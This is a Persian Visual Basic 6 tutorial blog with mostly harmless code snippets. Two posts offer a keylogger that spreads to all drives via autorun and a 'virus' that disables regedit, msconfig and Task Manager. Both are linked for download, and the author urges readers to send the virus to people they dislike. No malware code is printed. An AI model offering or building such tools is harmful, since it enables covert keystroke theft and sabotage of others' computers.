آموزش ویژوال بیسیــــک 6 و کسب درآمد100%

سورس کیلاگر

سلام

خیلی وقته دیگه آپ نمیکنم ولی به اسرار یکی از دوستان( آقا مهدی) این پست رو ارسال کردم

امیدوارم به دردت بخوره

تو این پست یه کیلاگر مورد بحث منه.ان برنامه مسیر وندوز رو پیدا می کنه .و کلید های زده شده رو در یک فایل در مسیر ویندوز ذخیره می کنه

از قابلیت های دیگر این برنامه اینه که خودشو تو تمام درایو ها کپی می کنه و یک فایل اتوران هم همراه خودش می سازه

این هم لینک دانلود کیلاگر

+ نوشته شده در سه شنبه نوزدهم آبان 1388ساعت توسط محمد |

قرار دادن آیکو در منو اموزش ویژوال بیسیک

تا به حال شده بخواهيد به منو هاي وي بي آيكان اضافه كنيد.

اگر برايتان خيلي جذاب است كافي است روي لينك دانلود كليك كنيد.

لينك دانلود آيكان در وي بي

نظر بديييييين......

+ نوشته شده در سه شنبه بیستم اسفند 1387ساعت توسط محمد |

تبدیل کد رنگ vb به html

ویژوال بیسیک کد رنگ را به صورت BBGGRR ذخیره می کند ؛ ما باید قالب رنگ را به RRGGBB# تبدیل کنیم ؛ یعنی جای کد رنگ قرمز با آبی باید عوض شود.

تابع زیر اینکار را انجام می دهد:

Function VB2HTMLColor(color As Long) As String
    Dim aux As String
    aux = Right("00000" & Hex(color), 6)
    VB2HTMLColor = "#" & Right(aux, 2) & Mid(aux, 3, 2) & Left(aux, 2)
End Function 

+ نوشته شده در سه شنبه بیستم اسفند 1387ساعت توسط محمد |

راه اندازی وب سایت

سلام اولا به خاطر تاخیر چند ماهه از شما عزیزان معذرت می خوام

دوما به خاطر این همه غیبت کردن ها هم یه دلیل خوب دارم اینکه به زودی وب سایت هم آماده می شه

این وب سایت در مو رد برنامه نویسی هستش و عزیزان می تونن پروژه های خود شونو به فروش بزارن اگر هم مطالب جالبی در مورد برنامه نویسی دارن می تونن با دیگران هم به اشتراک بذارن

این وب سایت خودم طراحی کردم و به هیچ وجه هم از سی ام اس های رایگان مثل جوملا یا مامبو استفاده نکردم تا چند روز دیگه هم آماده می شه . تا اینجا ۹۵٪ کارا رو انجام دادم .با تشکر محمد فلاحیان

+ نوشته شده در سه شنبه بیستم اسفند 1387ساعت توسط محمد |

ویروس Wallpaper Changer

سلام دوستان

این ویروس رو خودم نوشتم

کار این ویروس این هست که چند تا عکس که ما از قبل به برنامه دادیم رو هر چند ثانیه یکیشو پشت زمینه سیستم قرار میده

البته این عکس ها عکس ........ هستش که اگه خوشتون نیومد میتونید عکس مورد علاقه خودتون رو جاش بزارید.

فراموش کردم بگم که این ویروس روی هر سیستم اجرا بشه regedit ,msconfig و task manager رو هم غیر فعال میکنه.

ولی اگه کسی خواست ویروس رو روی سیستم خودش اجرا بکنه و عکسا رو ببینه میتونه اونو اجرا کنه . برای متوقف کردن ویروس هم یه راه هست کلید های SHIFT +F9

هم سورس برنامه رو گذاشتم و هم فایل اجرایی برنامه. حالا برید و از هرکی خوشتون نمیاد این ویروس رو بهش بدین

دانلود ویروس و سورس ویروس

+ نوشته شده در دوشنبه بیست و پنجم آذر 1387ساعت توسط محمد |

استفاده از دستورات sql در ویژوال بیسیک -مثالی در باره ADO and SQL در ویژوال بیسیک

به درخواست یکی از دوستان همکارم این مثال ساده از ADO و SQL در ویژوال بیسیک6 را در وبلاگ قرار دادم.

This source code gives extensive examples of code required to
edit and retrieve data from a data base using both ADODB and
SQL instructions. AddNew, Delete, Edit and Find methods and
SELECT, DELETE, UPDATE, WHERE GROUP BY, ORDER BY SQL commands
are included as well as a demo of a simple Join. Examples use
MS Access files using ADO with both a data grid and text
fields.

لینک دانلود

+ نوشته شده در چهارشنبه سیزدهم آذر 1387ساعت توسط محمد |

~~مشاهده فولدر به صورت درختی در ویژوال بیسیک~~

با این کد می تونید یک فولدر را به صورت درختی مشاهده کنید.
کد زیرا در فرم خود اظافه کنید.

Public Sub eRoot(rootpath As String, fldrs As Boolean

    On Error Resume Next

Dim EX, ARGU, path, X
If fldrs = True Then
EX = "explorer.exe"

        ARGU = " /e,/root, "

        path = rootpath$

        X = Shell(EX & ARGU & path, 1)

    ElseIf fldrs = False Then

        EX = "explorer.exe"

        ARGU = " n/e,/,root, "

        path = rootpath$

        X = Shell(EX & ARGU & path, 1)

End IF

End Sub

+ نوشته شده در سه شنبه دوازدهم آذر 1387ساعت توسط محمد |

~~جلوه بخشیدن به شی های ویژوال بیسیک~*~**~~اجرای فایل wav در ویژوال بیسیک~~*

با سه خط زیر می تونید یک فایل WAV را اجرا و قطع کنید بدون نیاز به هیچ گونه کد اضافی و هیچگونه dll , ocx.

کد زیر را به فرم خود اظافه کنید.

Private Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" _
    (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
    Const SND_SYNC = &H0
    Const SND_ASYNC = &H1
    Const SND_NODEFAULT = &H2
    Const SND_LOOP = &H8
    Const SND_NOSTOP = &H10

    '----------PLAY WAVE SOUND--------

Private Sub PlayWaveSound_Click()

    soundfile$ = "c:/TheCustomSoundIWant.wav"
    wFlags% = SND_ASYNC Or SND_NODEFAULT
    HaHa = sndPlaySound(soundfile$, wFlags%)
End Sub

'-------STOP WAVE SOUND-------

Private Sub StopTheSound_Click()
    StopTheSoundNOW = sndPlaySound(soundfile$, wFlags%)
End Sub
'Replace "c:/TheCustomSoundIWant.wav" wi
'     th your sound

+ نوشته شده در سه شنبه دوازدهم آذر 1387ساعت توسط محمد |

~~خواندن فایل txt بصورت خط به خط در ویژوال بیسیک~~

با این کد می تونید یک فایل txt را بصورت خط به خط بخونید . اگه حجم فایل زیاد باشه کمی طول میکشه ولی با این می تونید خیلی کار ها بکنید، بدردتون میخوره.

Sub ReadLineByLine()

    ' Variable Declarations
    Dim folderName As String
    Dim fileName As String
    folderName = "C:\Dump\"
    fileName = "test.txt"
    Open folderName & fileName For Input As #1

    Do While Not EOF(1)
        Line Input #1, inputdata
        MsgBox inputdata ' or txtFile.Text = TxtFile.Text + vbcrlf + Input Data
    Loop

    Close #1
End Sub

موفق باشید.

+ نوشته شده در سه شنبه دوازدهم آذر 1387ساعت توسط محمد |

~~چاپ به صورت باینری در ویژوال بیسیک * کد ویژوال بیسیک ~~*

دیگه لازم نیست توضیح بدم به کد زیر یک نگاه بندازین .

Public Sub PrintBinary(Num As Long)
    Dim j&, i&
    j = 128
    For i = 8 To 1 Step -1
        If (Num And j) = 0 Then
            Debug.Print "0";
        Else
            Debug.Print "1";
        End If
        j = j / 2
    Next
End Sub

+ نوشته شده در سه شنبه دوازدهم آذر 1387ساعت توسط محمد |

آموزش ویژوال بیسیــــک 6 و کسب درآمد100%

سورس کیلاگر

قرار دادن آیکو در منو اموزش ویژوال بیسیک

تبدیل کد رنگ vb به html

راه اندازی وب سایت

ویروس Wallpaper Changer

استفاده از دستورات sql در ویژوال بیسیک -مثالی در باره ADO and SQL در ویژوال بیسیک

~~مشاهده فولدر به صورت درختی در ویژوال بیسیک~~

~~جلوه بخشیدن به شی های ویژوال بیسیک~*~**~~اجرای فایل wav در ویژوال بیسیک~~*

~~خواندن فایل txt بصورت خط به خط در ویژوال بیسیک~~

~~چاپ به صورت باینری در ویژوال بیسیک * کد ویژوال بیسیک ~~*

پیوندهای روزانه

نوشته های پیشین

آرشیو موضوعی

پیوندها